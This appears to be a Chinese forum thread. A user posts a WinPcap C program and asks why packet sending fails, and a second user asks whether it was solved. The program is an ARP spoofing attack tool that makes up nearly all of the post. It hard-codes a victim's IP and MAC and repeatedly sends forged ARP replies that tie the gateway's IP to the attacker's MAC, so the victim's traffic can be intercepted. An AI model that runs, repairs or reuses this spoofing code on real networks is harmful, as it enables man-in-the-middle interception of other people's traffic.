pcap_sendpacket 发送失败

[wind1987321]

代码如下：

#include <stdio.h>
#include <pcap.h>
#include "ProtoStruct.h"
#include <WINSOCK2.H>

#pragma comment(lib,"WS2_32")

//全局变量
DWORD destIp = inet_addr("10.10.61.135");				//要欺骗的目的IP地址
DWORD localIp = inet_addr("10.10.61.111");				//本地主机Ip
u_char destMac[] = {0x00,0x03,0x0d,0x9b,0x62,0x73};		//要欺骗的目的Mac地址
DWORD GateIp = inet_addr("10.10.61.20");				//网关IP
u_char GateMac[] = {0x00,0x03,0xe3,0x84,0xf1,0x17};		//网关Mac
u_char LocalMac[] = {0x00,0x16,0x36,0x2d,0x0e,0x59};	//本地Mac

u_char SendFrame[60] = "";

u_char* DIpToCIp(DWORD *pDIP)
{
	static u_char pCIp[4] = "";
    if(pDIP == NULL)
        return false;
    BYTE *b = (BYTE*)pDIP;
    pCIp[0] = b[0];
	pCIp[1] = b[1];
	pCIp[2] = b[2];
	pCIp[3] = b[3];
    return pCIp;
}

int main()
{
	//获取设备适配器
	pcap_if_t *alldevs;
	pcap_if_t *d;
	pcap_t *dev_handle;
	char errbuf[PCAP_ERRBUF_SIZE];

	if(pcap_findalldevs_ex(PCAP_SRC_IF_STRING,NULL,&alldevs,errbuf)==-1)
	{
		fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
        exit(1);
	}
	
	int i =0;

	/* 打印列表 */
    for(d = alldevs; d; d = d->next)
    {
        printf("%d. %s", ++i, d->name);
        if (d->description)
            printf(" (%s)\n", d->description);
        else
            printf(" (No description available)\n");
    }
    
    if(i==0)
    {
        printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
        return -1;
    }
	
	int inum = 0;
	printf("Enter the interface number (1-%d):",i);
    scanf("%d", &inum);
    
    if(inum < 1 || inum > i)
    {
        printf("\nInterface number out of range.\n");
        /* 释放设备列表 */
        pcap_freealldevs(alldevs);
        return -1;
    }
    
    /* 跳转到选中的适配器 */
    for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
    
    /* 打开设备 */
    if ( (dev_handle= pcap_open_live(d->name,          // 设备名
		65536,            // 65535保证能捕获到不同数据链路层上的每个数据包的全部内容
		PCAP_OPENFLAG_PROMISCUOUS,    // 混杂模式
		1000,             // 读取超时时间
		errbuf            // 错误缓冲池
		) ) == NULL)
    {
        fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
        /* 释放设备列表 */
        pcap_freealldevs(alldevs);
        return -1;
    }
    
	//设置以太帧头
	ETHeader eh = { 0 };
	memcpy(eh.dhost, destMac, 6);
	memcpy(eh.shost, LocalMac, 6);
	eh.type = ::htons(ETHERTYPE_ARP);
	memcpy(SendFrame, &eh, sizeof(eh));
	
	// 设置Arp头
	ARPHeader ah = { 0 };
	
	ah.hrd = htons(ARPHRD_ETHER);
	ah.eth_type = htons(ETHERTYPE_IP);
	ah.maclen = 6;
	ah.iplen = 4;
	ah.opcode = htons(ARPOP_REPLY);
	
	memcpy(ah.smac, LocalMac, 6);
	memcpy(ah.saddr, DIpToCIp(&GateIp), 4);
	memcpy(ah.dmac, destMac, 6);
	memcpy(ah.daddr, DIpToCIp(&destIp), 4);

	/* Fill the rest of the packet */
    for(int j=42;j<60;j++){
        SendFrame[j]=0;		
    } 
	
	memcpy(&SendFrame[sizeof(ETHeader)], &ah, sizeof(ah));

	while(true)
	{
		if(pcap_sendpacket(dev_handle,SendFrame,60)==-1)
		{
			fprintf(stderr,"\nError sending the packet: \n", pcap_geterr(dev_handle));
			return -1;
		}
		Sleep(100);
	}

	/* 释放设备列表 */
    pcap_freealldevs(alldevs);

	return 0;
}

编译通过，运行时提示Error sending the packet错误，ARP头里若改为本机IP，可以正常发送，请问这是什么原因

[guohui1007]

你好，请问楼主，这个问题解决了没有，我现在也遇到类似的，欲请教一下。